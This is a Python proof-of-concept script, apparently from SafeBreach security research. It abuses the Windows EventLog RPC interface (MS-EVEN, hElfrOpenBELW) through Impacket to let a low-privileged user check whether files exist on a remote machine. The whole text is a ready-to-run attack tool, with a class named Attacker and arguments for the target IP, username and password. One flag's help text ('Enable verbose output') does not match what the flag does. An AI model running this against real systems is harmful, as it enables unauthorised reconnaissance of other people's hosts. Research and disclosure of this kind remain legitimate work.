README.md
Rendering markdown...
"""
@Author: Yarin A.
@Company: SafeBreach
@Description: This script is using the CreateFile primitive given by MS-EVEN,
in order to check the status of remote file using low-privileged user.
"""
import enum
import argparse
from impacket.dcerpc.v5 import even
from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.dcerpc.v5.even import DCERPCSessionError
class EventLogErrorCodes(enum.Enum):
FILE_DOES_NOT_EXIST = 0xc0000034
FILE_EXISTS_AND_IS_DIRECTORY = 0xc00000ba
FILE_EXISTS = 0xc000018e
class Attacker:
LOG_MSG_TEMPLATE = r'[+] - {message}'
EVENT_LOG_NCACN = r'ncacn_np:{ip}[\pipe\eventlog]'
RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5
def __init__(self, ip, username, password):
self.connection = DCERPCTransportFactory(self.EVENT_LOG_NCACN.format(ip=ip))
self.connection.set_credentials(username, password)
self.connection.connect()
self.dce = self.connection.get_dce_rpc()
self.dce.set_auth_level(self.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
self.dce.connect()
self.dce.bind(even.MSRPC_UUID_EVEN)
def create_rpc_unicode_string(self, regular_string):
# There seems to be a bug in Impacket or in the EventLog service itsef.
# For some resason we need to add another null-terminator to the unicode string.
crafted_unicode_string = RPC_UNICODE_STRING()
crafted_unicode_string['Data'] = regular_string
crafted_unicode_string.fields['MaximumLength'] += 1
return crafted_unicode_string
def check_if_file_exists(self, filepath_to_check, is_windows_10=False):
if is_windows_10:
filepath_to_check = filepath_to_check.replace("C:\\", "\\")
unicode_filepath_to_check = self.create_rpc_unicode_string(filepath_to_check.rstrip('\\'))
try:
even.hElfrOpenBELW(self.dce, unicode_filepath_to_check)
except DCERPCSessionError as e:
if e.error_code in [e.value for e in EventLogErrorCodes]:
print(EventLogErrorCodes(e.get_error_code()).name)
else:
raise e
def close_connection(self):
self.dce.disconnect()
def log(self, message):
print(self.LOG_MSG_TEMPLATE.format(message=message))
def main():
parser = argparse.ArgumentParser()
parser.add_argument('ip_to_attack')
parser.add_argument('username')
parser.add_argument('password')
parser.add_argument('filepath_to_check')
parser.add_argument(
"--is_windows_10",
action="store_true",
help="Enable verbose output"
)
args = parser.parse_args()
attacker = Attacker(args.ip_to_attack,
username=args.username,
password=args.password)
attacker.check_if_file_exists(args.filepath_to_check, is_windows_10=args.is_windows_10)
attacker.close_connection()
if __name__ == '__main__':
main()